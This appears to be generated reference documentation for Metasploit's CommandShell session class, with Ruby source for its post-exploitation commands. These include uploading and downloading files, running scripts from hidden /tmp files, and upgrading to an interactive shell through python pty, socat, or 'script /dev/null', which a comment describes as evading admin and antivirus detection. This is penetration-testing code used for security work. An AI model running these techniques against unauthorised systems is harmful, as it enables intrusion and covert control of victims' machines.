Class: Msf::Sessions::CommandShell
- Inherits:
-
Object
- Object
- Msf::Sessions::CommandShell
- Includes:
- Msf::Session::Basic, Msf::Session::Provider::SingleCommandShell, Scriptable, Rex::Ui::Text::Resource
- Defined in:
- lib/msf/base/sessions/command_shell.rb
Overview
This class provides basic interaction with a command shell on the remote endpoint. This session is initialized with a stream that will be used as the pipe for reading and writing the command shell.
Direct Known Subclasses
AwsInstanceConnectCommandShellBind, AwsSsmCommandShellBind, CommandShellUnix, CommandShellWindows, EncryptedShell, MainframeShell, PowerShell, SshCommandShellBind, SshCommandShellReverse, WinrmCommandShell
Defined Under Namespace
Classes: FileTransfer
Constant Summary collapse
- @@irb_opts =
Rex::Parser::Arguments.new( ['-h', '--help'] => [false, 'Help menu.' ], '-e' => [true, 'Expression to evaluate.'] )
Instance Attribute Summary collapse
-
#arch ⇒ Object
Returns the value of attribute arch.
-
#banner ⇒ Object
readonly
Returns the value of attribute banner.
-
#max_threads ⇒ Object
Returns the value of attribute max_threads.
-
#platform ⇒ Object
Returns the value of attribute platform.
Attributes included from Msf::Session::Interactive
Attributes included from Rex::Ui::Interactive
#completed, #interacting, #next_session, #on_command_proc, #on_print_proc, #on_run_command_error_proc, #orig_suspend, #orig_usr1, #orig_winch
Attributes included from Rex::Ui::Subscriber::Input
Attributes included from Rex::Ui::Subscriber::Output
Attributes included from Msf::Session
#alive, #db_record, #exploit, #exploit_datastore, #exploit_task, #exploit_uuid, #framework, #info, #machine_id, #payload_uuid, #routes, #sid, #sname, #target_host, #target_port, #username, #uuid, #via, #workspace
Attributes included from Framework::Offspring
Class Method Summary collapse
-
._glue_cmdline_escape(arg, quote_requiring, unquotable_char, escaped_unquotable_char, quote_char) ⇒ Object
Perform command line escaping wherein most chars are able to be escaped by quoting them, but others don’t have a valid way of existing inside quotes, so we need to “glue” together a series of sections of the original command line; some sections inside quotes, and some outside.
- .binary_exists(binary, platform: nil, &block) ⇒ Object
- .can_cleanup_files ⇒ Object
-
.type ⇒ Object
Returns the type of session.
Instance Method Summary collapse
- #_file_transfer ⇒ Object protected
-
#_interact ⇒ Object
protected
:category: Msf::Session::Interactive implementors.
-
#_interact_stream ⇒ Object
protected
:category: Msf::Session::Interactive implementors.
- #abort_foreground_supported ⇒ Object
-
#binary_exists(binary) ⇒ Object
Returns path of a binary in PATH env.
- #bootstrap(datastore = {}, handler = nil) ⇒ Object
-
#cleanup ⇒ Object
:category: Msf::Session implementors.
- #cmd_background(*args) ⇒ Object
- #cmd_background_help ⇒ Object
- #cmd_download(*args) ⇒ Object
- #cmd_download_help ⇒ Object
- #cmd_help(*args) ⇒ Object
- #cmd_help_help ⇒ Object
-
#cmd_irb(*args) ⇒ Object
Open an interactive Ruby shell on the current session.
- #cmd_irb_help ⇒ Object
-
#cmd_pry(*args) ⇒ Object
Open the Pry debugger on the current session.
- #cmd_pry_help ⇒ Object
- #cmd_resource(*args) ⇒ Object
- #cmd_resource_help ⇒ Object
- #cmd_sessions(*args) ⇒ Object
- #cmd_sessions_help ⇒ Object
- #cmd_shell(*args) ⇒ Object
- #cmd_shell_help ⇒ Object
- #cmd_source(*args) ⇒ Object
- #cmd_source_help ⇒ Object
- #cmd_upload(*args) ⇒ Object
- #cmd_upload_help ⇒ Object
-
#commands ⇒ Object
List of supported commands.
-
#desc ⇒ Object
Returns the session description.
-
#docs_dir ⇒ Object
Return the subdir of the ‘documentation/` directory that should be used to find usage documentation.
-
#execute_file(full_path, args) ⇒ Object
:category: Msf::Session::Scriptable implementors.
-
#initialize(conn, opts = {}) ⇒ CommandShell
constructor
A new instance of CommandShell.
-
#process_autoruns(datastore) ⇒ Object
Execute any specified auto-run scripts for this session.
-
#run_builtin_cmd(method, arguments) ⇒ Object
Run built-in command.
-
#run_single(cmd) ⇒ Object
Explicitly runs a single line command.
-
#shell_close ⇒ Object
:category: Msf::Session::Provider::SingleCommandShell implementors.
-
#shell_command(cmd, timeout = 5) ⇒ Object
:category: Msf::Session::Provider::SingleCommandShell implementors.
-
#shell_init ⇒ Object
:category: Msf::Session::Provider::SingleCommandShell implementors.
-
#shell_read(length = -1,, timeout = 1) ⇒ Object
:category: Msf::Session::Provider::SingleCommandShell implementors.
-
#shell_write(buf) ⇒ Object
:category: Msf::Session::Provider::SingleCommandShell implementors.
-
#type ⇒ Object
Calls the class method.
Methods included from Rex::Ui::Text::Resource
Methods included from Scriptable
#execute_script, included, #legacy_script_to_post_module
Methods included from Msf::Session::Provider::SingleCommandShell
#command_termination, #set_is_echo_shell, #shell_command_token, #shell_command_token_base, #shell_command_token_unix, #shell_command_token_win32, #shell_read_until_token, #to_cmd
Methods included from Msf::Session::Interactive
#_interact_complete, #_interrupt, #_suspend, #_usr1, #abort_foreground, #comm_channel, #interactive?, #kill, #run_cmd, #tunnel_local, #tunnel_peer, #user_want_abort?
Methods included from Rex::Ui::Interactive
#_interact_complete, #_interrupt, #_local_fd, #_remote_fd, #_stream_read_local_write_remote, #_stream_read_remote_write_local, #_suspend, #_winch, #detach, #handle_suspend, #handle_usr1, #handle_winch, #interact, #interact_stream, #prompt, #prompt_yesno, #restore_suspend, #restore_usr1, #restore_winch
Methods included from Rex::Ui::Subscriber
Methods included from Rex::Ui::Subscriber::Input
Methods included from Rex::Ui::Subscriber::Output
#flush, #print, #print_blank_line, #print_error, #print_good, #print_line, #print_status, #print_warning
Methods included from Msf::Session
#alive?, #comm_channel, #dead?, #inspect, #interactive?, #kill, #log_file_name, #log_source, #name, #name=, #register?, #session_host, #session_host=, #session_port, #session_port=, #session_type, #set_from_exploit, #set_via, #tunnel_local, #tunnel_peer, #tunnel_to_s, #via_exploit, #via_payload
Constructor Details
#initialize(conn, opts = {}) ⇒ CommandShell
Returns a new instance of CommandShell.
61 62 63 64 65 66 67 68 69 70 71 |
# File 'lib/msf/base/sessions/command_shell.rb', line 61 def initialize(conn, opts = {}) self.platform ||= "" self.arch ||= "" self.max_threads = 1 @cleanup = false datastore = opts[:datastore] if datastore && !datastore["CommandShellCleanupCommand"].blank? @cleanup_command = datastore["CommandShellCleanupCommand"] end super end |
Instance Attribute Details
#arch ⇒ Object
Returns the value of attribute arch.
781 782 783 |
# File 'lib/msf/base/sessions/command_shell.rb', line 781 def arch @arch end |
#banner ⇒ Object (readonly)
Returns the value of attribute banner.
784 785 786 |
# File 'lib/msf/base/sessions/command_shell.rb', line 784 def @banner end |
#max_threads ⇒ Object
Returns the value of attribute max_threads.
783 784 785 |
# File 'lib/msf/base/sessions/command_shell.rb', line 783 def max_threads @max_threads end |
#platform ⇒ Object
Returns the value of attribute platform.
782 783 784 |
# File 'lib/msf/base/sessions/command_shell.rb', line 782 def platform @platform end |
Class Method Details
._glue_cmdline_escape(arg, quote_requiring, unquotable_char, escaped_unquotable_char, quote_char) ⇒ Object
Perform command line escaping wherein most chars are able to be escaped by quoting them, but others don’t have a valid way of existing inside quotes, so we need to “glue” together a series of sections of the original command line; some sections inside quotes, and some outside
746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 |
# File 'lib/msf/base/sessions/command_shell.rb', line 746 def self._glue_cmdline_escape(arg, quote_requiring, unquotable_char, escaped_unquotable_char, quote_char) current_token = "" result = "" in_quotes = false arg.each_char do |char| if char == unquotable_char if in_quotes # This token has been in an inside-quote context, so let's properly wrap that before continuing current_token = "#{quote_char}#{current_token}#{quote_char}" end result += current_token result += escaped_unquotable_char # Escape the offending percent # Start a new token - we'll assume we're remaining outside quotes current_token = '' in_quotes = false next elsif quote_requiring.include?(char) # Oh, it turns out we should have been inside quotes for this token. # Let's note that, for when we actually append the token in_quotes = true end current_token += char end if in_quotes # The final token has been in an inside-quote context, so let's properly wrap that before continuing current_token = "#{quote_char}#{current_token}#{quote_char}" end result += current_token result end |
.binary_exists(binary, platform: nil, &block) ⇒ Object
374 375 376 377 378 379 380 381 382 383 |
# File 'lib/msf/base/sessions/command_shell.rb', line 374 def self.binary_exists(binary, platform: nil, &block) if block.call('command -v command').to_s.strip == 'command' binary_path = block.call("command -v '#{binary}' && echo true").to_s.strip else binary_path = block.call("which '#{binary}' && echo true").to_s.strip end return nil unless binary_path.include?('true') binary_path.split("\n")[0].strip # removes 'true' from stdout end |
.can_cleanup_files ⇒ Object
57 58 59 |
# File 'lib/msf/base/sessions/command_shell.rb', line 57 def self.can_cleanup_files true end |
.type ⇒ Object
Returns the type of session.
53 54 55 |
# File 'lib/msf/base/sessions/command_shell.rb', line 53 def self.type "shell" end |
Instance Method Details
#_file_transfer ⇒ Object (protected)
845 846 847 848 849 |
# File 'lib/msf/base/sessions/command_shell.rb', line 845 def _file_transfer raise NotImplementedError.new('Session does not support file transfers.') if session_type.ends_with?(':winpty') FileTransfer.new(self) end |
#_interact ⇒ Object (protected)
:category: Msf::Session::Interactive implementors
Override the basic session interaction to use shell_read and shell_write instead of operating on rstream directly.
793 794 795 796 797 798 |
# File 'lib/msf/base/sessions/command_shell.rb', line 793 def _interact framework.events.on_session_interact(self) framework.history_manager.with_context(name: self.type.to_sym) { _interact_stream } end |
#_interact_stream ⇒ Object (protected)
:category: Msf::Session::Interactive implementors
803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 |
# File 'lib/msf/base/sessions/command_shell.rb', line 803 def _interact_stream fds = [rstream.fd, user_input.fd] # Displays +info+ on all session startups # +info+ is set to the shell banner and initial prompt in the +bootstrap+ method user_output.print("#{@banner}\n") if !@banner.blank? && self.interacting run_single('') while self.interacting sd = Rex::ThreadSafe.select(fds, nil, fds, 0.5) next unless sd if sd[0].include? rstream.fd user_output.print(shell_read) end if sd[0].include? user_input.fd run_single((user_input.gets || '').chomp("\n")) end Thread.pass end end |
#abort_foreground_supported ⇒ Object
87 88 89 |
# File 'lib/msf/base/sessions/command_shell.rb', line 87 def abort_foreground_supported self.platform != 'windows' end |
#binary_exists(binary) ⇒ Object
Returns path of a binary in PATH env.
388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 |
# File 'lib/msf/base/sessions/command_shell.rb', line 388 def binary_exists(binary) print_status("Trying to find binary '#{binary}' on the target machine") binary_path = self.class.binary_exists(binary, platform: platform) do |command| shell_command_token(command) end if binary_path.nil? print_error("#{binary} not found") else print_status("Found #{binary} at #{binary_path}") end return binary_path end |
#bootstrap(datastore = {}, handler = nil) ⇒ Object
100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 |
# File 'lib/msf/base/sessions/command_shell.rb', line 100 def bootstrap(datastore = {}, handler = nil) session = self if datastore['AutoVerifySession'] session_info = '' # Read the initial output and mash it into a single line # Timeout set to 1 to read in banner of all payload responses (may capture prompt as well) # Encoding is not forced to support non ASCII shells if session.info.nil? || session.info.empty? = shell_read(-1, 1) if && !.empty? .gsub!(/[^[:print:][:space:]]+/n, "_") .strip! session_info = @banner = %Q{ Shell Banner: #{} ----- } end end token = Rex::Text.rand_text_alphanumeric(8..24) response = shell_command("echo #{token}") unless response&.include?(token) dlog("Session #{session.sid} failed to respond to an echo command") print_error("Command shell session #{session.sid} is not valid and will be closed") session.kill return nil end # Only populate +session.info+ with a captured banner if the shell is responsive and verified session.info = session_info if session.info.blank? session else # Encrypted shells need all information read before anything is written, so we read in the banner here. However we # don't populate session.info with the captured value since without AutoVerify there's no way to be certain this # actually is a banner and not junk/malicious input if session.class == ::Msf::Sessions::EncryptedShell shell_read(-1, 0.1) end end end |
#cleanup ⇒ Object
:category: Msf::Session implementors
Closes the shell.
701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 |
# File 'lib/msf/base/sessions/command_shell.rb', line 701 def cleanup return if @cleanup @cleanup = true if rstream if !@cleanup_command.blank? # this is a best effort, since the session is possibly already dead shell_command_token(@cleanup_command) rescue nil # we should only ever cleanup once @cleanup_command = nil end # this is also a best-effort rstream.close rescue nil rstream = nil end super end |
#cmd_background(*args) ⇒ Object
216 217 218 219 220 221 222 223 224 225 226 227 |
# File 'lib/msf/base/sessions/command_shell.rb', line 216 def cmd_background(*args) if !args.empty? # We assume that background does not need arguments # If user input does not follow this specification # Then show help (Including '-h' '--help'...) return cmd_background_help end if prompt_yesno("Background session #{name}?") self.interacting = false end end |
#cmd_background_help ⇒ Object
209 210 211 212 213 214 |
# File 'lib/msf/base/sessions/command_shell.rb', line 209 def cmd_background_help print_line "Usage: background" print_line print_line "Stop interacting with this session and return to the parent prompt" print_line end |
#cmd_download(*args) ⇒ Object
412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 |
# File 'lib/msf/base/sessions/command_shell.rb', line 412 def cmd_download(*args) if args.length != 2 # no arguments, just print help message return cmd_download_help end src = args[0] dst = args[1] # Check if src exists if !_file_transfer.file_exist?(src) print_error("The target file does not exist") return end # Get file content print_status("Download #{src} => #{dst}") content = _file_transfer.read_file(src) # Write file to local machine File.binwrite(dst, content) print_good("Done") rescue NotImplementedError => e print_error(e.) end |
#cmd_download_help ⇒ Object
404 405 406 407 408 409 410 |
# File 'lib/msf/base/sessions/command_shell.rb', line 404 def cmd_download_help print_line("Usage: download [src] [dst]") print_line print_line("Downloads remote files to the local machine.") print_line("Only files are supported.") print_line end |
#cmd_help(*args) ⇒ Object
175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 |
# File 'lib/msf/base/sessions/command_shell.rb', line 175 def cmd_help(*args) cmd = args.shift if cmd unless commands.key?(cmd) return print_error('No such command') end unless respond_to?("cmd_#{cmd}_help") return print_error("No help for #{cmd}, try -h") end return send("cmd_#{cmd}_help") end columns = ['Command', 'Description'] tbl = Rex::Text::Table.new( 'Header' => 'Meta shell commands', 'Prefix' => "\n", 'Postfix' => "\n", 'Indent' => 4, 'Columns' => columns, 'SortIndex' => -1 ) commands.each do |key, value| tbl << [key, value] end print(tbl.to_s) print("For more info on a specific command, use %grn<command> -h%clr or %grnhelp <command>%clr.\n\n") end |
#cmd_help_help ⇒ Object
171 172 173 |
# File 'lib/msf/base/sessions/command_shell.rb', line 171 def cmd_help_help print_line "There's only so much I can do" end |
#cmd_irb(*args) ⇒ Object
Open an interactive Ruby shell on the current session
531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 |
# File 'lib/msf/base/sessions/command_shell.rb', line 531 def cmd_irb(*args) expressions = [] # Parse the command options @@irb_opts.parse(args) do |opt, idx, val| case opt when '-e' expressions << val when '-h' return cmd_irb_help end end session = self framework = self.framework if expressions.empty? print_status('Starting IRB shell...') print_status("You are in the \"self\" (session) object\n") framework.history_manager.with_context(name: :irb) do Rex::Ui::Text::IrbShell.new(self).run end else # XXX: No vprint_status here if framework.datastore['VERBOSE'].to_s == 'true' print_status("You are executing expressions in #{binding.receiver}") end expressions.each { |expression| eval(expression, binding) } end end |
#cmd_irb_help ⇒ Object
521 522 523 524 525 526 |
# File 'lib/msf/base/sessions/command_shell.rb', line 521 def cmd_irb_help print_line('Usage: irb') print_line print_line('Open an interactive Ruby shell on the current session.') print @@irb_opts.usage end |
#cmd_pry(*args) ⇒ Object
Open the Pry debugger on the current session
573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 |
# File 'lib/msf/base/sessions/command_shell.rb', line 573 def cmd_pry(*args) if args.include?('-h') || args.include?('--help') cmd_pry_help return end begin require 'pry' rescue LoadError print_error('Failed to load Pry, try "gem install pry"') return end print_status('Starting Pry shell...') print_status("You are in the \"self\" (session) object\n") Pry.config.history_load = false framework.history_manager.with_context(history_file: Msf::Config.pry_history, name: :pry) do self.pry end end |
#cmd_pry_help ⇒ Object
563 564 565 566 567 568 |
# File 'lib/msf/base/sessions/command_shell.rb', line 563 def cmd_pry_help print_line 'Usage: pry' print_line print_line 'Open the Pry debugger on the current session.' print_line end |
#cmd_resource(*args) ⇒ Object
266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 |
# File 'lib/msf/base/sessions/command_shell.rb', line 266 def cmd_resource(*args) if args.empty? || args[0] == '-h' || args[0] == '--help' cmd_resource_help return false end args.each do |res| good_res = nil if res == '-' good_res = res elsif ::File.exist?(res) good_res = res elsif # let's check to see if it's in the scripts/resource dir (like when tab completed) [ ::Msf::Config.script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter', ::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter' ].each do |dir| res_path = ::File::join(dir, res) if ::File.exist?(res_path) good_res = res_path break end end end if good_res print_status("Executing resource script #{good_res}") load_resource(good_res) print_status("Resource script #{good_res} complete") else print_error("#{res} is not a valid resource file") next end end end |
#cmd_resource_help ⇒ Object
302 303 304 305 306 307 308 |
# File 'lib/msf/base/sessions/command_shell.rb', line 302 def cmd_resource_help print_line "Usage: resource path1 [path2 ...]" print_line print_line "Run the commands stored in the supplied files. (- for stdin, press CTRL+D to end input from stdin)" print_line "Resource files may also contain ERB or Ruby code between <ruby></ruby> tags." print_line end |
#cmd_sessions(*args) ⇒ Object
238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 |
# File 'lib/msf/base/sessions/command_shell.rb', line 238 def cmd_sessions(*args) if args.length != 1 print_status "Wrong number of arguments expected: 1, received: #{args.length}" return cmd_sessions_help end if args[0] == '-h' || args[0] == '--help' return cmd_sessions_help end session_id = args[0].to_i if session_id <= 0 print_status 'Invalid session id' return cmd_sessions_help end if session_id == self.sid # Src == Dst print_status("Session #{self.name} is already interactive.") else print_status("Backgrounding session #{self.name}...") # store the next session id so that it can be referenced as soon # as this session is no longer interacting self.next_session = session_id self.interacting = false end end |
#cmd_sessions_help ⇒ Object
229 230 231 232 233 234 235 236 |
# File 'lib/msf/base/sessions/command_shell.rb', line 229 def cmd_sessions_help print_line('Usage: sessions <id>') print_line print_line('Interact with a different session Id.') print_line('This command only accepts one positive numeric argument.') print_line('This works the same as calling this from the MSF shell: sessions -i <session id>') print_line end |
#cmd_shell(*args) ⇒ Object
323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 |
# File 'lib/msf/base/sessions/command_shell.rb', line 323 def cmd_shell(*args) if args.length == 1 && (args[0] == '-h' || args[0] == '--help') # One arg, and args[0] => '-h' '--help' return cmd_shell_help end if platform == 'windows' print_error('Functionality not supported on windows') return end # 1. Using python python_path = binary_exists("python") || binary_exists("python3") if python_path != nil print_status("Using `python` to pop up an interactive shell") # Ideally use bash for a friendlier shell, but fall back to /bin/sh if it doesn't exist shell_path = binary_exists("bash") || '/bin/sh' shell_command("#{python_path} -c \"#{ Msf::Payload::Python.create_exec_stub("import pty; pty.spawn('#{shell_path}')") } \"") return end # 2. Using script script_path = binary_exists("script") if script_path != nil print_status("Using `script` to pop up an interactive shell") # Payload: script /dev/null # Using /dev/null to make sure there is no log file on the target machine # Prevent being detected by the admin or antivirus software shell_command("#{script_path} /dev/null") return end # 3. Using socat socat_path = binary_exists("socat") if socat_path != nil # Payload: socat - exec:'bash -li',pty,stderr,setsid,sigint,sane print_status("Using `socat` to pop up an interactive shell") shell_command("#{socat_path} - exec:'/bin/sh -li',pty,stderr,setsid,sigint,sane") return end # 4. Using pty program # 4.1 Detect arch and destribution # 4.2 Real time compiling # 4.3 Upload binary # 4.4 Change mode of binary # 4.5 Execute binary print_error("Can not pop up an interactive shell") end |
#cmd_shell_help ⇒ Object
310 311 312 313 314 315 316 317 318 319 320 321 |
# File 'lib/msf/base/sessions/command_shell.rb', line 310 def cmd_shell_help() print_line('Usage: shell') print_line print_line('Pop up an interactive shell via multiple methods.') print_line('An interactive shell means that you can use several useful commands like `passwd`, `su [username]`') print_line('There are four implementations of it: ') print_line('\t1. using python `pty` module (default choice)') print_line('\t2. using `socat` command') print_line('\t3. using `script` command') print_line('\t4. upload a pty program via reverse shell') print_line end |
#cmd_source(*args) ⇒ Object
489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 |
# File 'lib/msf/base/sessions/command_shell.rb', line 489 def cmd_source(*args) if args.length != 2 # no arguments, just print help message return cmd_source_help end if platform == 'windows' print_error('Functionality not supported on windows') return end background = args[1].downcase == 'y' local_file = args[0] remote_file = "/tmp/." + ::Rex::Text.rand_text_alpha(32) + ".sh" cmd_upload(local_file, remote_file) # Change file permission in case of TOCTOU shell_command("chmod 0600 #{remote_file}") if background print_status("Executing on remote machine background") print_line(shell_command("nohup sh -x #{remote_file} &")) else print_status("Executing on remote machine foreground") print_line(shell_command("sh -x #{remote_file}")) end print_status("Cleaning temp file on remote machine") shell_command("rm -rf '#{remote_file}'") end |
#cmd_source_help ⇒ Object
479 480 481 482 483 484 485 486 487 |
# File 'lib/msf/base/sessions/command_shell.rb', line 479 def cmd_source_help print_line("Usage: source [file] [background]") print_line print_line("Execute a local shell script file on remote machine") print_line("This meta command will upload the script then execute it on the remote machine") print_line print_line("background") print_line("`y` represent execute the script in background, `n` represent on foreground") end |
#cmd_upload(*args) ⇒ Object
447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 |
# File 'lib/msf/base/sessions/command_shell.rb', line 447 def cmd_upload(*args) if args.length != 2 # no arguments, just print help message return cmd_upload_help end src = args[0] dst = args[1] # Check target file exists on the target machine if _file_transfer.file_exist?(dst) print_warning("The file <#{dst}> already exists on the target machine") unless prompt_yesno("Overwrite the target file <#{dst}>?") return end end begin content = File.binread(src) result = _file_transfer.write_file(dst, content) print_good("File <#{dst}> upload finished") if result print_error("Error occurred while uploading <#{src}> to <#{dst}>") unless result rescue => e print_error("Error occurred while uploading <#{src}> to <#{dst}> - #{e.}") elog(e) return end rescue NotImplementedError => e print_error(e.) end |
#cmd_upload_help ⇒ Object
439 440 441 442 443 444 445 |
# File 'lib/msf/base/sessions/command_shell.rb', line 439 def cmd_upload_help print_line("Usage: upload [src] [dst]") print_line print_line("Uploads load file to the victim machine.") print_line("This command does not support to upload a FOLDER yet") print_line end |
#commands ⇒ Object
List of supported commands.
156 157 158 159 160 161 162 163 164 165 166 167 168 169 |
# File 'lib/msf/base/sessions/command_shell.rb', line 156 def commands { 'help' => 'Help menu', 'background' => 'Backgrounds the current shell session', 'sessions' => 'Quickly switch to another session', 'resource' => 'Run a meta commands script stored in a local file', 'shell' => 'Spawn an interactive shell (*NIX Only)', 'download' => 'Download files', 'upload' => 'Upload files', 'source' => 'Run a shell script on remote machine (*NIX Only)', 'irb' => 'Open an interactive Ruby shell on the current session', 'pry' => 'Open the Pry debugger on the current session' } end |
#desc ⇒ Object
Returns the session description.
76 77 78 |
# File 'lib/msf/base/sessions/command_shell.rb', line 76 def desc "Command shell" end |
#docs_dir ⇒ Object
Return the subdir of the ‘documentation/` directory that should be used to find usage documentation
149 150 151 |
# File 'lib/msf/base/sessions/command_shell.rb', line 149 def docs_dir File.join(super, 'shell_session') end |
#execute_file(full_path, args) ⇒ Object
:category: Msf::Session::Scriptable implementors
Runs the shell session script or resource file.
42 43 44 45 46 47 48 |
# File 'lib/msf/base/sessions/command_shell.rb', line 42 def execute_file(full_path, args) if File.extname(full_path) == '.rb' Rex::Script::Shell.new(self, full_path).run(args) else load_resource(full_path) end end |
#process_autoruns(datastore) ⇒ Object
Execute any specified auto-run scripts for this session
724 725 726 727 728 729 730 731 732 733 734 735 736 |
# File 'lib/msf/base/sessions/command_shell.rb', line 724 def process_autoruns(datastore) if datastore['InitialAutoRunScript'] && !datastore['InitialAutoRunScript'].empty? args = Shellwords.shellwords( datastore['InitialAutoRunScript'] ) print_status("Session ID #{sid} (#{tunnel_to_s}) processing InitialAutoRunScript '#{datastore['InitialAutoRunScript']}'") execute_script(args.shift, *args) end if (datastore['AutoRunScript'] && datastore['AutoRunScript'].empty? == false) args = Shellwords.shellwords( datastore['AutoRunScript'] ) print_status("Session ID #{sid} (#{tunnel_to_s}) processing AutoRunScript '#{datastore['AutoRunScript']}'") execute_script(args.shift, *args) end end |
#run_builtin_cmd(method, arguments) ⇒ Object
Run built-in command
621 622 623 624 |
# File 'lib/msf/base/sessions/command_shell.rb', line 621 def run_builtin_cmd(method, arguments) # Dynamic function call self.send('cmd_' + method, *arguments) end |
#run_single(cmd) ⇒ Object
Explicitly runs a single line command.
597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 |
# File 'lib/msf/base/sessions/command_shell.rb', line 597 def run_single(cmd) # Do nil check for cmd (CTRL+D will cause nil error) return unless cmd begin arguments = Shellwords.shellwords(cmd) method = arguments.shift rescue ArgumentError => e # Handle invalid shellwords, such as unmatched quotes # See https://github.com/rapid7/metasploit-framework/issues/15912 end # Built-in command if commands.key?(method) return run_builtin_cmd(method, arguments) end # User input is not a built-in command, write to socket directly shell_write(cmd + command_termination) end |
#shell_close ⇒ Object
:category: Msf::Session::Provider::SingleCommandShell implementors
Closes the shell. Note: parent’s ‘self.kill’ method calls cleanup below.
692 693 694 |
# File 'lib/msf/base/sessions/command_shell.rb', line 692 def shell_close() self.kill end |
#shell_command(cmd, timeout = 5) ⇒ Object
:category: Msf::Session::Provider::SingleCommandShell implementors
Explicitly run a single command, return the output.
631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 |
# File 'lib/msf/base/sessions/command_shell.rb', line 631 def shell_command(cmd, timeout=5) # Send the command to the session's stdin. shell_write(cmd + command_termination) etime = ::Time.now.to_f + timeout buff = "" # Keep reading data until no more data is available or the timeout is # reached. while (::Time.now.to_f < etime and (self.respond_to?(:ring) or ::IO.select([rstream], nil, nil, timeout))) res = shell_read(-1, 0.01) buff << res if res timeout = etime - ::Time.now.to_f end buff end |
#shell_init ⇒ Object
:category: Msf::Session::Provider::SingleCommandShell implementors
The shell will have been initialized by default.
96 97 98 |
# File 'lib/msf/base/sessions/command_shell.rb', line 96 def shell_init return true end |
#shell_read(length = -1,, timeout = 1) ⇒ Object
:category: Msf::Session::Provider::SingleCommandShell implementors
Read from the command shell.
654 655 656 657 658 659 660 661 662 663 664 665 |
# File 'lib/msf/base/sessions/command_shell.rb', line 654 def shell_read(length=-1, timeout=1) begin rv = rstream.get_once(length, timeout) rlog(rv, self.log_source) if rv && self.log_source framework.events.on_session_output(self, rv) if rv return rv rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e #print_error("Socket error: #{e.class}: #{e}") shell_close raise e end end |
#shell_write(buf) ⇒ Object
:category: Msf::Session::Provider::SingleCommandShell implementors
Writes to the command shell.
672 673 674 675 676 677 678 679 680 681 682 683 684 |
# File 'lib/msf/base/sessions/command_shell.rb', line 672 def shell_write(buf) return unless buf begin rlog(buf, self.log_source) if self.log_source framework.events.on_session_command(self, buf.strip) rstream.write(buf) rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e #print_error("Socket error: #{e.class}: #{e}") shell_close raise e end end |
#type ⇒ Object
Calls the class method
83 84 85 |
# File 'lib/msf/base/sessions/command_shell.rb', line 83 def type self.class.type end |